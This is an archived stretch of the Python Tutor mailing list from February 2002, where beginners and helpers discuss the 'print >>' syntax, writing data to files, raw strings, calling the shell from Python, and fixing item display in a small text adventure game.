features often requested and used by programmers. But, if you don't dig it, what would be a more Pythonesque way of accomplishing the same task? If you had to do a PEP, what syntactical alternatives would you propose? Cheers, -P From dsh8290@rit.edu Sun Feb 17 20:08:08 2002 From: dsh8290@rit.edu (dman) Date: Sun, 17 Feb 2002 15:08:08 -0500 Subject: [Tutor] The 'print >>' ogre In-Reply-To: <006b01c1b7ea$71bc2330$18adf78c@virketis2> References: <3C6FE0C1.B959DFB2@shaw.ca> <006b01c1b7ea$71bc2330$18adf78c@virketis2> Message-ID: <20020217200808.GB27666@dman.ddts.net> On Sun, Feb 17, 2002 at 02:36:49PM -0500, Pijus Virketis wrote: | > I've used it. The idea of directly printing to a file isn't the | > problem. There are times when it's downright handy. It's the syntax | > that's ogreish (yes that really is a word). But I've used far uglier | > constructs in other languages so I can live with print >>. | | I personally rather like the >> ogre. Has no one else seen Shrek here? :) I just saw it Friday night. Good movie. | I also remember reading a small article by Guido on the python.org | website after the first version of Python with the feature came out, | where he highlighted it, along with "+=" operators, as features | often requested and used by programmers. But, if you don't dig it, | what would be a more Pythonesque way of accomplishing the same task? | If you had to do a PEP, what syntactical alternatives would you | propose? There's the crux of the matter. I like the feature, just not the syntax. I don't know what would be the Right syntax for it. (Does "I'll know it when I see it count"?) The "fprint" idea with the file as the first arg isn't too bad. It would probably be better as a function instead of a statement/keyword, though. Perhaps "print" should be turned into a function?[1] Or perhaps "print" should be a method on file objects, and 'stdout' become a built-in name. It would make it more consistent overall, and follow the "explicit, not implicit" rule. For example : # current style print "Hello World" print >> some_file , "Hello World" some_file.write( "a string" ) # not quite the same as 'print' # contemplated style stdout.print( "Hello World" ) some_file.print( "Hello World" ) some_file.write( "a string" ) # the same as it has always been just-some-semi-random-thinking-out-loud-ly y'rs -D [1] aside from backwards compatibility issues -- How to shoot yourself in the foot with Java: You find that Microsoft and Sun have released imcompatible class libraries both implementing Gun objects. You then find that although there are plenty of feet objects implemented in the past in many other languages, you cannot get access to one. But seeing as Java is so cool, you dont care and go around shooting anything else you can find. (written by Mark Hammond) From e.kotyk@shaw.ca Sun Feb 17 21:48:16 2002 From: e.kotyk@shaw.ca (Eve Kotyk) Date: Sun, 17 Feb 2002 21:48:16 +0000 Subject: [Tutor] creating files with python and a thanks References: <41963702708@kserver.org> <3C6F2A89.1A2DD743@shaw.ca> <216A37E221F@kserver.org> Message-ID: <3C702520.D2B906AE@shaw.ca> > function_output = function(param1, param2, ...) > f = open('myfile.txt', 'w') > f.write(function_output) > f.close() > > Another possibility is: > > f = open('myfile.txt', 'w') > f.write(function(param1, param2, ...)) > f.close() Thank you. This is very helpful, but I'm still not quite there. Here are my results from an Interpreter session. >>>def gather_data(): items = raw_input("Add food item: ") portion = input("Enter number of portions: ") cal_portion = input("Enter calories per portion: ") output = [items, portion, cal_portion] #return items,portion,cal_portion f = open('myfile.txt', 'w') f.write(str(output)) f.close() >>> gather_data() Add food item: cumquats Enter number of portions: 10 Enter calories per portion: 50 Traceback (innermost last): File "", line 1, in ? gather_data() File "", line 9, in gather_data f.write(output) TypeError: read-only buffer, list -- ekotyk http://members.shaw.ca/e.kotyk/virtualstudio.htm From kalle@gnupung.net Sun Feb 17 22:00:23 2002 From: kalle@gnupung.net (Kalle Svensson) Date: Sun, 17 Feb 2002 23:00:23 +0100 Subject: [Tutor] The 'print >>' ogre In-Reply-To: References: <20020217094850.GB14380@sandra.lysator.liu.se> Message-ID: <20020217220023.GA28802@sandra.lysator.liu.se> [Danny Yoo, regarding print >>file] > If we're trying to limit its exposure to the light, we're definitely > making a judgement that it's either a terrible idea or smells terribly > bad. I think it's the latter, and if that's the case, perhaps a strong > scrubbing is in order. *grin* I personally think it's the former. I think the print statement is a bad idea too, but not as bad. What I would prefer is a print function, something like: def print(*args, **kwargs): if kwargs.has_key("file"): f = kwargs["file"] else: f = sys.stdout f.write(" ".join(map(str, args)) + "\n") Anyway, I like your syntax slightly better. I would prefer something like "print to f: 'foo', 'bar'" over both. But if I could have it erased from Python, that would be the best. Peace, Kalle -- Kalle Svensson (kalle@gnupung.net) - Laziness, impatience, hubris: Pick two! English: http://www.gnupung.net/ Svenska: http://www.lysator.liu.se/~kalle/ Stuff: ["http://www.%s.org/" % x for x in "gnu debian python emacs".split()] From erikprice@mac.com Sun Feb 17 22:45:11 2002 From: erikprice@mac.com (Erik Price) Date: Sun, 17 Feb 2002 17:45:11 -0500 Subject: [Tutor] creating files with python and a thanks In-Reply-To: <41963702708@kserver.org> Message-ID: On Saturday, February 16, 2002, at 09:37 AM, Sheila King wrote: > f = open(r'c:\windows\temp\myfile.mbg', 'w') > f.write('this is my file\nmy stuff\nis in\nmy\nfile') > f.close() > > (I used the r in front of the quotes, so that it will interpret the > string as a "raw" string, and not assume the \t on \temp represents the > escape sequence for a tab character.) A quick question on this 'r' flag: I use a unix-style filesystem, so I wouldn't have the same problem as above (it would be './temp/myfile.mbg', and I'm making the assumption that /t has no special meaning, though it might). But is it generally good practice to use the 'r' flag like this when you have no intention of using variable/shell expansion? In PHP, as well as Bash programming, single quotes are used for when you wish this effect -- a 'literal' string. But double-quotes are used when you are okay with \t matching [tab] and other meta-characters. Judging from this example, the Python equivalent is using 'open(r'string', 'w')'. Do you try to always use the 'r' option -except- when you want expansion, or is the general practice to only use it when you -need- it to prevent a metacharacter like \t from being expanded? Thank you, Erik From erikprice@mac.com Sun Feb 17 23:16:13 2002 From: erikprice@mac.com (Erik Price) Date: Sun, 17 Feb 2002 18:16:13 -0500 Subject: [Tutor] writing to the shell In-Reply-To: Message-ID: <55F9FADC-23FC-11D6-9EDE-00039351FE6A@mac.com> Hello, everyone, I have a quick question: I wrote a bash shell script that takes a single argument, namely, a filename. It performs some check to see if the name conforms to a certain structure (I used shell globbing to do this, but could easily use Python's regexes, though I don't know how to do that), and if it matches, it temporarily changes the name of the file to something else and then executes the scp command with the new name as the argument to scp. As a learning exercise, i was thinking of turning this into a Python script. I don't want a how-to on actually writing the code (esp since it's already written), but how can I access my shell from a Python script? Thanks for the answer to this question, it will be my first "functional" python script. Erik From cheshire_cat_sf@yahoo.com Mon Feb 18 00:31:00 2002 From: cheshire_cat_sf@yahoo.com (Britt Green) Date: Sun, 17 Feb 2002 16:31:00 -0800 (PST) Subject: [Tutor] Picking up Item()s Message-ID: <20020218003100.45618.qmail@web14107.mail.yahoo.com> I have the following code for a very very simple text adventure. Right now a player can move around a few rooms and there are a couple of objects in the room that one should be able to pick up. Unfortunately I'm stuck on this point: When a player enters a room it doesn't say "This room contains a key." Instead it says "This room contains [<__main__.Item instance at 0x00AC5320>]". How can I make it so that it displays the name of the Item. Furthermore, I'd want the player to be able to type "get key" to pick up the key, not "__main__.Item instance at 0x00AC5320". How could I do this? Britt import sys import string class Room: def __init__(self, name): self.name = name self.items = [] def createExits(self, exits): self.exits = exits def itemsInRooms(self, item): self.items.append(item) class Item: def __init__(self, name): self.name = name self.inPosses = 0 areas = ['porch', 'foyer', 'bathroom', 'mid_stairs', 'living', 'hallway'] rooms = [] for n in areas: rooms.append(Room(n)) rooms[0].createExits({'e':1}) rooms[1].createExits({'e':5, 'w':0}) rooms[2].createExits({'s':5}) rooms[3].createExits({'n':5}) rooms[4].createExits({'w':5}) rooms[5].createExits({'e':4, 'n':2, 's':3, 'w':1}) items = ['key', 'door'] things = [] for n in items: things.append(Item(n)) rooms[0].itemsInRooms(things[0]) rooms[1].itemsInRooms(things[1]) playLoc = 0 words = ['n','s','e','w','q','get'] command = [] while 1: command = string.split(raw_input("--> ")) if command[0] not in words: print "Come again?" else: if command[0] == 'q': sys.exit(1) elif command[0] in ['n','s','e','w']: if rooms[playLoc].exits.has_key(command[0]): playLoc = rooms[playLoc].exits.get(command[0]) print "You find yourself in the " + rooms[playLoc].name print "You can move ", rooms[playLoc].exits.keys() if len(rooms[playLoc].items) != 0: print "This room contains ", rooms[playLoc].items else: print "Your path is blocked." else: if command[1] in rooms[playLoc].items.name: print "You picked up the", command[1] for i in range(len(rooms[playLoc].items)): print i ## print rooms[playLoc].items[command[1]] ## print things[i].name rooms[playLoc].items.remove(command[1]) else: print "That item isn't in here!" ===== "The ocean, she is strange and wondrous, filled with animals that disturb even a Frenchman." __________________________________________________ Do You Yahoo!? Yahoo! Sports - Coverage of the 2002 Olympic Games http://sports.yahoo.com From dsh8290@rit.edu Mon Feb 18 00:40:40 2002 From: dsh8290@rit.edu (dman) Date: Sun, 17 Feb 2002 19:40:40 -0500 Subject: [Tutor] creating files with python and a thanks In-Reply-To: References: <41963702708@kserver.org> Message-ID: <20020218004040.GA29665@dman.ddts.net> On Sun, Feb 17, 2002 at 05:45:11PM -0500, Erik Price wrote: | | On Saturday, February 16, 2002, at 09:37 AM, Sheila King wrote: | | >f = open(r'c:\windows\temp\myfile.mbg', 'w') | >f.write('this is my file\nmy stuff\nis in\nmy\nfile') | >f.close() | > | >(I used the r in front of the quotes, so that it will interpret the | >string as a "raw" string, and not assume the \t on \temp represents the | >escape sequence for a tab character.) | | A quick question on this 'r' flag: | | I use a unix-style filesystem, so I wouldn't have the same problem as | above (it would be './temp/myfile.mbg', and I'm making the assumption | that /t has no special meaning, though it might). Right. In paths, forward slashes are Good and backslashes are Evil. | But is it generally good practice to use the 'r' flag like this when | you have no intention of using variable/shell expansion? | | In PHP, as well as Bash programming, single quotes are used for when you | wish this effect -- a 'literal' string. But double-quotes are used when | you are okay with \t matching [tab] and other meta-characters. Judging | from this example, the Python equivalent is using 'open(r'string', 'w')'. | | Do you try to always use the 'r' option -except- when you want | expansion, or is the general practice to only use it when you -need- it | to prevent a metacharacter like \t from being expanded? If your string contains special characters (backslashes) but you don't want them treated specially, use the 'r' flag. Otherwise don't bother. -D -- Who can say, "I have kept my heart pure; I am clean and without sin"? Proverbs 20:9 From lha2@columbia.edu Mon Feb 18 01:01:08 2002 From: lha2@columbia.edu (Lloyd Hugh Allen) Date: Sun, 17 Feb 2002 20:01:08 -0500 Subject: [Tutor] Picking up Item()s References: <20020218003100.45618.qmail@web14107.mail.yahoo.com> Message-ID: <3C705254.9C29B6E5@mail.verizon.net> Britt Green wrote: > > I have the following code for a very very simple text adventure. Right > now a player can move around a few rooms and there are a couple of > objects in the room that one should be able to pick up. > > Unfortunately I'm stuck on this point: When a player enters a room it > doesn't say "This room contains a key." Instead it says "This room > contains [<__main__.Item instance at 0x00AC5320>]". How can I make it > so that it displays the name of the Item. Furthermore, I'd want the > player to be able to type "get key" to pick up the key, not > "__main__.Item instance at 0x00AC5320". How could I do this? it works a /little/ better if you append a .name in the line ### for n in items: things.append(Item(n)).name ### and then in order to avoid an error when picking up items, you have to drop the .name in ### else: if command[1] in rooms[playLoc].items: print "You picked up the", command[1] ### You also may wish to prettify the display by using the ", ".join(ListOfThings) convention so that the user doesn't see the list of exits etc. with funny brackets. Would have to get more complicated in order to throw an "and" in there for the last item, but at least it doesn't break on a single-element list. Pretty neat stuff, though, what you have so far. From toodles@yifan.net Mon Feb 18 01:16:02 2002 From: toodles@yifan.net (Andy W) Date: Mon, 18 Feb 2002 09:16:02 +0800 Subject: [Tutor] Picking up Item()s References: <20020218003100.45618.qmail@web14107.mail.yahoo.com> Message-ID: <001501c1b819$d5fdd580$3100a8c0@sun> Hi Britt, > I have the following code for a very very simple text adventure. Right > now a player can move around a few rooms and there are a couple of > objects in the room that one should be able to pick up. > > Unfortunately I'm stuck on this point: When a player enters a room it > doesn't say "This room contains a key." Instead it says "This room > contains [<__main__.Item instance at 0x00AC5320>]". How can I make it > so that it displays the name of the Item. Furthermore, I'd want the > player to be able to type "get key" to pick up the key, not > "__main__.Item instance at 0x00AC5320". How could I do this? > > Britt > This line here needs to be changed: > print "This room contains ", rooms[playLoc].items At the moment it's just a list of the instances, so we need to do something to it. There's several ways, I'll show a couple. List comprehension: item_names=[item.name for item in rooms[playLoc].items] Map: item_names=map(lambda item: item.name, rooms[playLoc].items) and then... print "This room contains ".join(item_names) For the second question... > if command[1] in rooms[playLoc].items.name: You can use the item_names we constructed for the last problem. I hope I answered your questions, Andy > import sys > import string > > class Room: > def __init__(self, name): > self.name = name > self.items = [] > > def createExits(self, exits): > self.exits = exits > > def itemsInRooms(self, item): > self.items.append(item) > > class Item: > def __init__(self, name): > self.name = name > self.inPosses = 0 > > areas = ['porch', 'foyer', 'bathroom', 'mid_stairs', 'living', > 'hallway'] > rooms = [] > for n in areas: > rooms.append(Room(n)) > > rooms[0].createExits({'e':1}) > rooms[1].createExits({'e':5, 'w':0}) > rooms[2].createExits({'s':5}) > rooms[3].createExits({'n':5}) > rooms[4].createExits({'w':5}) > rooms[5].createExits({'e':4, 'n':2, 's':3, 'w':1}) > > items = ['key', 'door'] > things = [] > for n in items: > things.append(Item(n)) > > rooms[0].itemsInRooms(things[0]) > rooms[1].itemsInRooms(things[1]) > > playLoc = 0 > words = ['n','s','e','w','q','get'] > command = [] > > while 1: > command = string.split(raw_input("--> ")) > if command[0] not in words: > print "Come again?" > else: > if command[0] == 'q': > sys.exit(1) > elif command[0] in ['n','s','e','w']: > if rooms[playLoc].exits.has_key(command[0]): > playLoc = rooms[playLoc].exits.get(command[0]) > print "You find yourself in the " + rooms[playLoc].name > print "You can move ", rooms[playLoc].exits.keys() > if len(rooms[playLoc].items) != 0: > print "This room contains ", rooms[playLoc].items > else: > print "Your path is blocked." > else: > if command[1] in rooms[playLoc].items.name: > print "You picked up the", command[1] > for i in range(len(rooms[playLoc].items)): > print i > ## print rooms[playLoc].items[command[1]] > ## print things[i].name > > rooms[playLoc].items.remove(command[1]) > else: > print "That item isn't in here!" > > ===== > "The ocean, she is strange and wondrous, filled with animals that disturb even a Frenchman." > > __________________________________________________ > Do You Yahoo!? > Yahoo! Sports - Coverage of the 2002 Olympic Games > http://sports.yahoo.com > > _______________________________________________ > Tutor maillist - Tutor@python.org > http://mail.python.org/mailman/listinfo/tutor > From arcege@speakeasy.net Mon Feb 18 01:51:29 2002 From: arcege@speakeasy.net (Michael P. Reilly) Date: Sun, 17 Feb 2002 20:51:29 -0500 Subject: [Tutor] Picking up Item()s In-Reply-To: <20020218003100.45618.qmail@web14107.mail.yahoo.com>; from cheshire_cat_sf@yahoo.com on Sun, Feb 17, 2002 at 04:31:00PM -0800 References: <20020218003100.45618.qmail@web14107.mail.yahoo.com> Message-ID: <20020217205129.A23147@speakeasy.net> On Sun, Feb 17, 2002 at 04:31:00PM -0800, Britt Green wrote: > Unfortunately I'm stuck on this point: When a player enters a room it > doesn't say "This room contains a key." Instead it says "This room > contains [<__main__.Item instance at 0x00AC5320>]". How can I make it > so that it displays the name of the Item. Furthermore, I'd want the > player to be able to type "get key" to pick up the key, not > "__main__.Item instance at 0x00AC5320". How could I do this? If you are going to "print" objects, then you'll want to add the __str__ method to the class. The string returned from that method is used instead of what you saw before. > Britt > > import sys > import string > > class Room: > def __init__(self, name): > self.name = name > self.items = [] > > def createExits(self, exits): > self.exits = exits > > def itemsInRooms(self, item): > self.items.append(item) > > class Item: > def __init__(self, name): > self.name = name > self.inPosses = 0 # what is the printed name def __str__(self): # 'a key' or 'a door' return 'a %s' % self.name # compare the name to another object, like a string def __cmp__(self, other): return cmp(self.name, other) >>> keyitem = Item('key') >>> print 'you have', keyitem you have a key >>> items = [ keyitem, Item('door') ] >>> item2find = 'key' # a string >>> item2find in items 1 >>> try: ... pos = items.index(item2find) ... except IndexError: ... print item2find, 'not found' ... else: ... print 'I found', repr(items[pos]) ... I found <__main__.Item instance at 0x815202c> >>> The __cmp__ method can help you find the right object you want from the string. Good luck, -Arcege From sheila@thinkspot.net Mon Feb 18 02:42:25 2002 From: sheila@thinkspot.net (Sheila King) Date: Sun, 17 Feb 2002 18:42:25 -0800 Subject: [Tutor] creating files with python and a thanks In-Reply-To: <3C702520.D2B906AE@shaw.ca> References: <41963702708@kserver.org> <3C6F2A89.1A2DD743@shaw.ca> <216A37E221F@kserver.org> <3C702520.D2B906AE@shaw.ca> Message-ID: <1C4B427211C@kserver.org> On Sun, 17 Feb 2002 21:48:16 +0000, Eve Kotyk wrote about Re: [Tutor] creating files with python and a thanks: > Thank you. This is very helpful, but I'm still not quite there. Here > are my results from an Interpreter session. > > >>>def gather_data(): > items = raw_input("Add food item: ") > portion = input("Enter number of portions: ") > cal_portion = input("Enter calories per portion: ") > output = [items, portion, cal_portion] > #return items,portion,cal_portion > f = open('myfile.txt', 'w') > f.write(str(output)) > f.close() > > >>> gather_data() > Add food item: cumquats > Enter number of portions: 10 > Enter calories per portion: 50 > Traceback (innermost last): > File "", line 1, in ? > gather_data() > File "", line 9, in gather_data > f.write(output) > TypeError: read-only buffer, list I have no idea why it is giving you difficulty. It works for me: Python 2.2 (#28, Dec 21 2001, 12:21:22) [MSC 32 bit (Intel)] on win32 Type "copyright", "credits" or "license" for more information. IDLE 0.8 -- press F1 for help >>> def gather_data(): items = raw_input("Add food item: ") portion = input("Enter number of portions: ") cal_portion = input("Enter calories per portion: ") output = [items, portion, cal_portion] f = open('myfile.txt', 'w') f.write(str(output)) f.close() >>> gather_data() Add food item: cumquats Enter number of portions: 10 Enter calories per portion: 50 >>> What Python Shell are you using? What operating system? -- Sheila King http://www.thinkspot.net/sheila/ "When introducing your puppy to an adult cat, restrain the puppy, not the cat." -- Gwen Bailey, _The Perfect Puppy: How to Raise a Well-behaved Dog_ From e.kotyk@shaw.ca Mon Feb 18 03:12:55 2002 From: e.kotyk@shaw.ca (Eve Kotyk) Date: Mon, 18 Feb 2002 03:12:55 +0000 Subject: [Tutor] creating files with python and a thanks References: <41963702708@kserver.org> <3C6F2A89.1A2DD743@shaw.ca> <216A37E221F@kserver.org> <3C702520.D2B906AE@shaw.ca> <1C4B427211C@kserver.org> Message-ID: <3C707137.B66BD026@shaw.ca> > > Python 2.2 (#28, Dec 21 2001, 12:21:22) [MSC 32 bit (Intel)] on win32 > Type "copyright", "credits" or "license" for more information. > IDLE 0.8 -- press F1 for help > >>> def gather_data(): > items = raw_input("Add food item: ") > portion = input("Enter number of portions: ") > cal_portion = input("Enter calories per portion: ") > output = [items, portion, cal_portion] > f = open('myfile.txt', 'w') > f.write(str(output)) > f.close() > > > >>> gather_data() > Add food item: cumquats > Enter number of portions: 10 > Enter calories per portion: 50 > >>> > > What Python Shell are you using? What operating system? I'm using version 1.5.2 on Linux. > > -- > Sheila King > http://www.thinkspot.net/sheila/ > > "When introducing your puppy to an adult cat, > restrain the puppy, not the cat." -- Gwen Bailey, > _The Perfect Puppy: How to Raise a Well-behaved Dog_ -- ekotyk http://members.shaw.ca/e.kotyk/virtualstudio.htm From sheila@thinkspot.net Mon Feb 18 04:46:18 2002 From: sheila@thinkspot.net (Sheila King) Date: Sun, 17 Feb 2002 20:46:18 -0800 Subject: [Tutor] creating files with python and a thanks In-Reply-To: <3C707137.B66BD026@shaw.ca> References: <41963702708@kserver.org> <3C6F2A89.1A2DD743@shaw.ca> <216A37E221F@kserver.org> <3C702520.D2B906AE@shaw.ca> <1C4B427211C@kserver.org> <3C707137.B66BD026@shaw.ca> Message-ID: <2362EF7047C@kserver.org> On Mon, 18 Feb 2002 03:12:55 +0000, Eve Kotyk wrote about Re: [Tutor] creating files with python and a thanks: > > What Python Shell are you using? What operating system? > > I'm using version 1.5.2 on Linux. Well, I'm really flabbergasted. I just logged into my web host, where I have a shell account, and they have 1.5.2 on Linux, but it worked for me there, as well: Python 1.5.2 (#1, Dec 21 2000, 15:29:08) [GCC egcs-2.91.66 19990314/Linux (egcs - on linux-i386 Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam >>> def gather_data(): ... items = raw_input("Add food item: ") ... portion = input("Enter number of portions: ") ... cal_portion = input("Enter calories per portion: ") ... output = [items, portion, cal_portion] ... f = open('myfile.txt', 'w') ... f.write(str(output)) ... f.close() ... >>> gather_data() Add food item: cumquats Enter number of portions: 10 Enter calories per portion: 50 >>> Let's look at that error message you showed before: Traceback (innermost last): File "", line 1, in ? gather_data() File "", line 9, in gather_data f.write(output) TypeError: read-only buffer, list It says: File "", line 9, in gather_data f.write(output) TypeError: read-only buffer, list Notice how it seems to think that your write statement is f.write(output) and not f.write(str(output)) For some reason, it has an old copy of the gather_data function in memory, I'm thinking. Try closing down the interpreter and starting up a new session and type everything over again and see if it doesn't work this time. (Sorry, I didn't catch the importance of that error message previously.) -- Sheila King http://www.thinkspot.net/sheila/ "When introducing your puppy to an adult cat, restrain the puppy, not the cat." -- Gwen Bailey, _The Perfect Puppy: How to Raise a Well-behaved Dog_ From kp87@lycos.com Sun Feb 17 17:54:40 2002 From: kp87@lycos.com (kevin parks) Date: Mon, 18 Feb 2002 02:54:40 +0900 Subject: [Tutor] Re: The 'print >>' ogre Message-ID: >The trouble is by keeping quiet about it we turn it into the Python >equivalent of a Playboy magazine. Sooner or later the newbies are going >to find it on our bookshelves and then they'll be pulling it out way >more times than they should! heh heh heh, he said "pulling it out" heh heh yeah pull it yeah yeah back to your regularly scheduled program. -k- Check out Cupid School where you will learn from Matchmaker's best and brightest. Good Luck! http://ecard.matchmaker.com/cupid0202/cupid0202.html From alan.gauld@bt.com Mon Feb 18 10:23:17 2002 From: alan.gauld@bt.com (alan.gauld@bt.com) Date: Mon, 18 Feb 2002 10:23:17 -0000 Subject: [Tutor] creating files with python and a thanks Message-ID: <5104D4DBC598D211B5FE0000F8FE7EB20E66C37F@mbtlipnt02.btlabs.bt.co.uk> > > (I used the r in front of the quotes, so that it will interpret the > > string as a "raw" string, and not assume the \t on \temp Just as a reminder you can always use forward slashes on DOS paths too, which avoids the need for the r flag... > I use a unix-style filesystem, so I wouldn't have the same problem as > above (it would be './temp/myfile.mbg', Which works in DOS land too. > that /t has no special meaning No, it's the \ character that means escape > Do you try to always use the 'r' option -except- when you want > expansion, or is the general practice to only use it when you > -need- it to prevent a metacharacter like \t from being expanded? The python idiom is the latter although I do see a lot of people starting to use it as a default - which is a bad thing IMHO... Alan g. From alan.gauld@bt.com Mon Feb 18 10:25:08 2002 From: alan.gauld@bt.com (alan.gauld@bt.com) Date: Mon, 18 Feb 2002 10:25:08 -0000 Subject: [Tutor] writing to the shell Message-ID: <5104D4DBC598D211B5FE0000F8FE7EB20E66C380@mbtlipnt02.btlabs.bt.co.uk> > certain structure (I used shell globbing to do this, but could easily > use Python's regexes, Better to use the glob module > it's already written), but how can I access my shell from a Python > script? os.system() or if you want to read the output look at os.popen() and popen2 etc... HTH Alan g From alan.gauld@bt.com Mon Feb 18 10:47:24 2002 From: alan.gauld@bt.com (alan.gauld@bt.com) Date: Mon, 18 Feb 2002 10:47:24 -0000 Subject: [Tutor] Picking up Item()s Message-ID: <5104D4DBC598D211B5FE0000F8FE7EB20E66C381@mbtlipnt02.btlabs.bt.co.uk> > class Room:... > > class Item:... > > areas = ['porch', 'foyer', 'bathroom', 'mid_stairs', 'living', > 'hallway'] > rooms = [] # this is a list, can I suggest a dictionary: > for n in areas: > rooms.append(Room(n)) rooms[n] = Room(n) > rooms[0].createExits({'e':1}) .... > rooms[5].createExits({'e':4, 'n':2, 's':3, 'w':1}) And can i suggest you put all the data build in one place so the areas table becomes a list of tuples, something like: > areas = [('porch',{'e':4}), ... > ('hallway', {'e':4, 'n':2, 's':3, 'w':1})] Then the above lines become: rooms[n[0]] = Room(n[0]) rooms[n[0]].createExits(n[1]) > rooms[0].itemsInRooms(things[0]) > rooms[1].itemsInRooms(things[1]) The dictionary nbotation isa more readable here too: rooms['porch'].itemsInRooms(things[0]) etc > playLoc = 0 playloc = 'porch' #or areas[0] if you prefer > words = ['n','s','e','w','q','get'] > command = [] > > while 1: > command = string.split(raw_input("--> ")) > if command[0] not in words: > print "Come again?" > else: > if command[0] == 'q': > sys.exit(1) > elif command[0] in ['n','s','e','w']: > if rooms[playLoc].exits.has_key(command[0]): > playLoc = rooms[playLoc].exits.get(command[0]) To cater for dictionaries either change the exits dictionary (my favourite) or do playLoc = areas[rooms[playLoc].exits.get(command[0])] None of which answers your actual question of course but might make the code a little more readable and debuggable... > print "You find yourself in the " + > rooms[playLoc].name > print "You can move ", rooms[playLoc].exits.keys() > if len(rooms[playLoc].items) != 0: > print "This room contains ", rooms[playLoc].items Here's the cuprit. items is a list of Item instances. You are printing an object, you need a method of Items to print in a friendly way - maybe providing a __str__() method would suffice? Or something that specifically returns a string - show() maybe?. Alan g. From aruna_prabhakaran@hotmail.com Mon Feb 18 13:01:27 2002 From: aruna_prabhakaran@hotmail.com (Aruna Prabhakaran) Date: Mon, 18 Feb 2002 13:01:27 +0000 Subject: [Tutor] BDE - help Message-ID: HI, I would like to know if its possible to connect to a DB(SQL Server 6.5) using borland Database engine?(BDE) with python.can somebody give me some information regarding this? Thanks in advance Aruna Prabhakaran ZeOmega Infotech Pvt Ltd Bangalore India. _________________________________________________________________ MSN Photos is the easiest way to share and print your photos: http://photos.msn.com/support/worldwide.aspx From erikprice@mac.com Mon Feb 18 13:26:09 2002 From: erikprice@mac.com (Erik Price) Date: Mon, 18 Feb 2002 08:26:09 -0500 Subject: [Tutor] creating files with python and a thanks In-Reply-To: <5104D4DBC598D211B5FE0000F8FE7EB20E66C37F@mbtlipnt02.btlabs.bt.co.uk> Message-ID: <11AAB833-2473-11D6-889D-00039351FE6A@mac.com> On Monday, February 18, 2002, at 05:23 AM, alan.gauld@bt.com wrote: >> Do you try to always use the 'r' option -except- when you want >> expansion, or is the general practice to only use it when you >> -need- it to prevent a metacharacter like \t from being expanded? > > The python idiom is the latter although I do see a lot of people > starting to use it as a default - which is a bad thing IMHO... > > Alan g. OOC, why do you think so? I'm not questioning you, I just don't want to develop bad habits. Erik From e.kotyk@shaw.ca Mon Feb 18 13:14:27 2002 From: e.kotyk@shaw.ca (Eve Kotyk) Date: Mon, 18 Feb 2002 13:14:27 +0000 Subject: [Tutor] creating files with python and a thanks References: <41963702708@kserver.org> <3C6F2A89.1A2DD743@shaw.ca> <216A37E221F@kserver.org> <3C702520.D2B906AE@shaw.ca> <1C4B427211C@kserver.org> <3C707137.B66BD026@shaw.ca> <2362EF7047C@kserver.org> Message-ID: <3C70FE33.BCB43960@shaw.ca> Sheila King wrote: > > On Mon, 18 Feb 2002 03:12:55 +0000, Eve Kotyk wrote > about Re: [Tutor] creating files with python and a thanks: > > > > What Python Shell are you using? What operating system? > > > > I'm using version 1.5.2 on Linux. > > Well, I'm really flabbergasted. I just logged into my web host, where I > have a shell account, and they have 1.5.2 on Linux, but it worked for me > there, as well: > > Python 1.5.2 (#1, Dec 21 2000, 15:29:08) [GCC egcs-2.91.66 > 19990314/Linux (egcs - on linux-i386 > Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam > >>> def gather_data(): > ... items = raw_input("Add food item: ") > ... portion = input("Enter number of portions: ") > ... cal_portion = input("Enter calories per portion: ") > ... output = [items, portion, cal_portion] > ... f = open('myfile.txt', 'w') > ... f.write(str(output)) > ... f.close() > ... > >>> gather_data() > Add food item: cumquats > Enter number of portions: 10 > Enter calories per portion: 50 > >>> > > Let's look at that error message you showed before: > > Traceback (innermost last): > File "", line 1, in ? > gather_data() > File "", line 9, in gather_data > f.write(output) > TypeError: read-only buffer, list > > It says: > File "", line 9, in gather_data > f.write(output) > TypeError: read-only buffer, list > > Notice how it seems to think that your write statement is > f.write(output) > and not f.write(str(output)) > > For some reason, it has an old copy of the gather_data function in > memory, I'm thinking. You are exactly right! I just tried it this morning and it worked very well. I did not know that the interpreter would keep a previous bit of code in memory. > > (Sorry, I didn't catch the importance of that error message previously.) No problem but could you explain the error message a little? I assumed it meant that I had variable elements of a different type (such as a string and integers) but I tried the code again using only strings and I still got the same error. What is a read-only buffer? E -- ekotyk http://members.shaw.ca/e.kotyk/virtualstudio.htm From alan.gauld@bt.com Mon Feb 18 13:29:40 2002 From: alan.gauld@bt.com (alan.gauld@bt.com) Date: Mon, 18 Feb 2002 13:29:40 -0000 Subject: [Tutor] creating files with python and a thanks Message-ID: <5104D4DBC598D211B5FE0000F8FE7EB20E66C386@mbtlipnt02.btlabs.bt.co.uk> > > The python idiom is the latter although I do see a lot of people > > starting to use it as a default - which is a bad thing IMHO... > OOC, why do you think so? I'm not questioning you, I just > don't want to develop bad habits. Anything which reduces the readability of code is a bad thing. One of the reasons I prefer Python to Perl and Tcl is it doesn't insist on lots of strange hieroglyphs($,@,% etc) on its symbols. Putting an 'r'(or should that be r'r'?!) in front of every string is just making things that little bit less natural. Alan g. From idiot1@netzero.net Mon Feb 18 15:03:47 2002 From: idiot1@netzero.net (kirk Bailey) Date: Mon, 18 Feb 2002 10:03:47 -0500 Subject: [Tutor] banned function Message-ID: <3C7117D3.E570FCF3@netzero.net> I am considering adding a global 'banned' file function, so email from a banned identity will automatically be rejected by tinylist. Although useful to block spam and vicious users, spammers usually send from throwaway accounts, and get a new one for the next run, and so can a drooler, if enough brain cells still work to think of it. Any discussion? -- end Respectfully, Kirk D Bailey +---------------------"Thou Art Free." -Eris----------------------+ | http://www.howlermonkey.net mailto:highprimate@howlermonkey.net | | http://www.tinylist.org +--------+ mailto:grumpy@tinylist.org | +------------------Thinking| NORMAL |Thinking---------------------+ +--------+ NOTE: By sending SPAM to this address you agree to pay me a service fee of $100 for the service of receiving, storing, examining, and deleting your piece of SPAM. I am a postmaster, and take a dim view of such. ---------------------------------------------------- Sign Up for NetZero Platinum Today Only $9.95 per month! http://my.netzero.net/s/signup?r=platinum&refcd=PT97 From lsloan@umich.edu Mon Feb 18 15:14:04 2002 From: lsloan@umich.edu (Lance E Sloan) Date: Mon, 18 Feb 2002 10:14:04 -0500 Subject: [Tutor] disabling Pmw ComboBox's EntryField? [quick lambda hacks] In-Reply-To: Your message of "Fri, 15 Feb 2002 13:28:43 PST." Message-ID: <200202181514.KAA22434@birds.us.itd.umich.edu> Danny Yoo wrote: [...] > implies that 